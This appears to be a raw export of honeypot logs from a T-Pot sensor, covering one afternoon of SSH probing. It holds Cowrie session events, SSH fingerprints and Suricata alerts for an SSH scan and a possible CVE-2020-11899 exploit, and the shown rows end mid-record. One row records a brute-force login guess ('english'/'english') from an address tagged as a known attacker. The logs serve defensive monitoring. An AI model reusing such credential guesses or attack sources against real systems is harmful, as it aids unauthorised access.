"2021-09-20T11:17:26.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28368	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:17:27.153564+03	2021-09-20 14:30:02.740553+03	{"_id": "KgbsAnwBvYTbRNuE0y4D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:27.153564+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253171095516, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:17:27.153564Z", "@timestamp": "2021-09-20T11:17:27.153Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
28369	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:27.416335+03	2021-09-20 14:30:02.742554+03	{"_id": "KwbsAnwBvYTbRNuE1C5K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53368, "timestamp": "2021-09-20T11:17:27.416335", "@timestamp": "2021-09-20T11:17:27.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28370	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:27.415423+03	2021-09-20 14:30:02.743553+03	{"_id": "LwbsAnwBvYTbRNuE1S4m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d0ee184411be", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:27.415423Z", "@timestamp": "2021-09-20T11:17:27.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28371	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:27.623599+03	2021-09-20 14:30:02.744553+03	{"_id": "MAbsAnwBvYTbRNuE1S4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:40546 (192.168.176.2:22) [session: bab90381a08c]", "session": "bab90381a08c", "@version": "1", "protocol": "ssh", "src_port": 40546, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.623599Z", "@timestamp": "2021-09-20T11:17:27.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28372	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:27.644648+03	2021-09-20 14:30:02.745553+03	{"_id": "NgbsAnwBvYTbRNuE1S4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bab90381a08c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:27.644648Z", "@timestamp": "2021-09-20T11:17:27.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28373	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:27.412437+03	2021-09-20 14:30:02.747553+03	{"_id": "NwbsAnwBvYTbRNuE1S4o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53368 (192.168.176.2:22) [session: d0ee184411be]", "session": "d0ee184411be", "@version": "1", "protocol": "ssh", "src_port": 53368, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.412437Z", "@timestamp": "2021-09-20T11:17:27.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28392	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:21.543284+03	2021-09-20 14:30:02.772525+03	{"_id": "HAbsAnwBvYTbRNuEvS60", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56262 (192.168.176.2:22) [session: 10be4db3b3f4]", "session": "10be4db3b3f4", "@version": "1", "protocol": "ssh", "src_port": 56262, "dest_port": 22, "timestamp": "2021-09-20T11:17:21.543284Z", "@timestamp": "2021-09-20T11:17:21.543Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28374	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:27.73512+03	2021-09-20 14:30:02.748551+03	{"_id": "OwbsAnwBvYTbRNuE1S4o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d0ee184411be", "@version": "1", "timestamp": "2021-09-20T11:17:27.735120Z", "@timestamp": "2021-09-20T11:17:27.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28375	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:27.691339+03	2021-09-20 14:30:02.749524+03	{"_id": "PAbsAnwBvYTbRNuE1i7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 131814388079096, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53368, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.691339Z", "@timestamp": "2021-09-20T11:17:27.691Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28376	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:17:27.734813+03	2021-09-20 14:30:02.750523+03	{"_id": "PgbsAnwBvYTbRNuE2C4z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53368, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.734813", "@timestamp": "2021-09-20T11:17:27.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28377	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:29.286102+03	2021-09-20 14:30:02.752526+03	{"_id": "TAbsAnwBvYTbRNuE3C74", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [english/english] failed", "session": "d0ee184411be", "@version": "1", "password": "english", "username": "english", "timestamp": "2021-09-20T11:17:29.286102Z", "@timestamp": "2021-09-20T11:17:29.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28378	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:29.914911+03	2021-09-20 14:30:02.753554+03	{"_id": "UAbsAnwBvYTbRNuE3i6_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 249814319691978, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60828, "dest_port": 22, "timestamp": "2021-09-20T11:17:29.914911Z", "@timestamp": "2021-09-20T11:17:29.914Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28379	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:29.63623+03	2021-09-20 14:30:02.755555+03	{"_id": "VgbsAnwBvYTbRNuE4C4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60828, "timestamp": "2021-09-20T11:17:29.636230", "@timestamp": "2021-09-20T11:17:29.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28380	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:30.751895+03	2021-09-20 14:30:02.756554+03	{"_id": "XQbsAnwBvYTbRNuE4C7j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d0ee184411be", "@version": "1", "duration": 3.336714267730713, "timestamp": "2021-09-20T11:17:30.751895Z", "@timestamp": "2021-09-20T11:17:30.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28381	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:30.721847+03	2021-09-20 14:30:02.757554+03	{"_id": "XwbsAnwBvYTbRNuE4i6o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:30.721847+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 281292135072695, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:17:30.721847Z", "@timestamp": 